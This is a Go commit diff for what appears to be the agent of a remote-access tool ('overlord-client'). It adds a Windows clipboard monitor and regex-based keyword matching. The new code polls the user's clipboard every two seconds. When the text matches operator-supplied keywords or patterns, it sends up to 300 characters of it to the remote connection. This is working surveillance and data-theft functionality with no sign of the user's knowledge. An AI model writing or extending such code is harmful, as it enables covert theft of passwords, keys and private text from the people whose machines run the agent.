add regex support and clipboard support to notification center
This commit is contained in:
@@ -91,23 +91,6 @@ func Start(ctx context.Context, env *runtime.Env) error {
|
||||
}
|
||||
}
|
||||
|
||||
func matchKeyword(title string, keywords []string) string {
|
||||
if title == "" {
|
||||
return ""
|
||||
}
|
||||
lower := strings.ToLower(title)
|
||||
for _, kw := range keywords {
|
||||
k := strings.ToLower(strings.TrimSpace(kw))
|
||||
if k == "" {
|
||||
continue
|
||||
}
|
||||
if strings.Contains(lower, k) {
|
||||
return kw
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func getActiveWindow() (string, uint32) {
|
||||
hwnd := getForegroundWindow()
|
||||
if hwnd == 0 {
|
||||
|
||||
@@ -0,0 +1,13 @@
|
||||
//go:build !windows
|
||||
|
||||
package activewindow
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"overlord-client/cmd/agent/runtime"
|
||||
)
|
||||
|
||||
func StartClipboard(_ context.Context, _ *runtime.Env) error {
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,127 @@
|
||||
//go:build windows
|
||||
|
||||
package activewindow
|
||||
|
||||
import (
|
||||
"context"
|
||||
"log"
|
||||
"strings"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"overlord-client/cmd/agent/runtime"
|
||||
"overlord-client/cmd/agent/wire"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
var (
|
||||
kernel32 = windows.NewLazySystemDLL("kernel32.dll")
|
||||
procGlobalLock = kernel32.NewProc("GlobalLock")
|
||||
procGlobalUnlock = kernel32.NewProc("GlobalUnlock")
|
||||
|
||||
procOpenClipboard = user32.NewProc("OpenClipboard")
|
||||
procCloseClipboard = user32.NewProc("CloseClipboard")
|
||||
procGetClipboardData = user32.NewProc("GetClipboardData")
|
||||
)
|
||||
|
||||
const cfUnicodeText = 13
|
||||
|
||||
func StartClipboard(ctx context.Context, env *runtime.Env) error {
|
||||
if env == nil {
|
||||
return nil
|
||||
}
|
||||
log.Printf("clipboard: starting monitor")
|
||||
defer log.Printf("clipboard: stopped")
|
||||
|
||||
ticker := time.NewTicker(2 * time.Second)
|
||||
defer ticker.Stop()
|
||||
|
||||
var lastContent string
|
||||
lastSent := make(map[string]int64)
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return nil
|
||||
case <-ticker.C:
|
||||
if !env.GetClipboardEnabled() {
|
||||
continue
|
||||
}
|
||||
keywords := env.GetNotificationKeywords()
|
||||
if len(keywords) == 0 {
|
||||
continue
|
||||
}
|
||||
minIntervalMs := env.GetNotificationMinIntervalMs()
|
||||
content := readClipboardText()
|
||||
if content == "" || content == lastContent {
|
||||
continue
|
||||
}
|
||||
lastContent = content
|
||||
match := matchKeyword(content, keywords)
|
||||
if match == "" {
|
||||
continue
|
||||
}
|
||||
if minIntervalMs > 0 {
|
||||
key := "clipboard:" + strings.ToLower(match)
|
||||
if last, ok := lastSent[key]; ok {
|
||||
if time.Since(time.UnixMilli(last)) < time.Duration(minIntervalMs)*time.Millisecond {
|
||||
continue
|
||||
}
|
||||
}
|
||||
lastSent[key] = time.Now().UnixMilli()
|
||||
}
|
||||
title := content
|
||||
if len(title) > 300 {
|
||||
title = title[:300]
|
||||
}
|
||||
note := wire.Notification{
|
||||
Type: "notification",
|
||||
Category: "clipboard",
|
||||
Title: title,
|
||||
Keyword: match,
|
||||
TS: time.Now().UnixMilli(),
|
||||
}
|
||||
if err := wire.WriteMsg(ctx, env.Conn, note); err != nil {
|
||||
log.Printf("clipboard: send notification failed: %v", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func readClipboardText() string {
|
||||
r, _, _ := procOpenClipboard.Call(0)
|
||||
if r == 0 {
|
||||
return ""
|
||||
}
|
||||
defer procCloseClipboard.Call()
|
||||
h, _, _ := procGetClipboardData.Call(cfUnicodeText)
|
||||
if h == 0 {
|
||||
return ""
|
||||
}
|
||||
ptr, _, _ := procGlobalLock.Call(h)
|
||||
if ptr == 0 {
|
||||
return ""
|
||||
}
|
||||
defer procGlobalUnlock.Call(h)
|
||||
return utf16PtrFromUintptr(ptr)
|
||||
}
|
||||
|
||||
func utf16PtrFromUintptr(ptr uintptr) string {
|
||||
if ptr == 0 {
|
||||
return ""
|
||||
}
|
||||
n := 0
|
||||
for {
|
||||
v := *(*uint16)(unsafe.Pointer(ptr + uintptr(n)*2))
|
||||
if v == 0 {
|
||||
break
|
||||
}
|
||||
n++
|
||||
if n > 1<<20 {
|
||||
break
|
||||
}
|
||||
}
|
||||
u16 := unsafe.Slice((*uint16)(unsafe.Pointer(ptr)), n)
|
||||
return windows.UTF16ToString(u16)
|
||||
}
|
||||
@@ -0,0 +1,55 @@
|
||||
package activewindow
|
||||
|
||||
import (
|
||||
"regexp"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func matchKeyword(text string, keywords []string) string {
|
||||
if text == "" {
|
||||
return ""
|
||||
}
|
||||
lower := strings.ToLower(text)
|
||||
for _, kw := range keywords {
|
||||
trimmed := strings.TrimSpace(kw)
|
||||
if trimmed == "" {
|
||||
continue
|
||||
}
|
||||
if strings.HasPrefix(trimmed, "/") {
|
||||
re, ok := parseRegexKeyword(trimmed)
|
||||
if ok && re.MatchString(text) {
|
||||
return kw
|
||||
}
|
||||
} else {
|
||||
if strings.Contains(lower, strings.ToLower(trimmed)) {
|
||||
return kw
|
||||
}
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func parseRegexKeyword(kw string) (*regexp.Regexp, bool) {
|
||||
if !strings.HasPrefix(kw, "/") {
|
||||
return nil, false
|
||||
}
|
||||
rest := kw[1:]
|
||||
lastSlash := strings.LastIndex(rest, "/")
|
||||
if lastSlash < 0 {
|
||||
return nil, false
|
||||
}
|
||||
pattern := rest[:lastSlash]
|
||||
flags := rest[lastSlash+1:]
|
||||
if pattern == "" {
|
||||
return nil, false
|
||||
}
|
||||
regexStr := pattern
|
||||
if strings.ContainsRune(flags, 'i') {
|
||||
regexStr = "(?i)" + pattern
|
||||
}
|
||||
re, err := regexp.Compile(regexStr)
|
||||
if err != nil {
|
||||
return nil, false
|
||||
}
|
||||
return re, true
|
||||
}
|
||||
Reference in New Issue
Block a user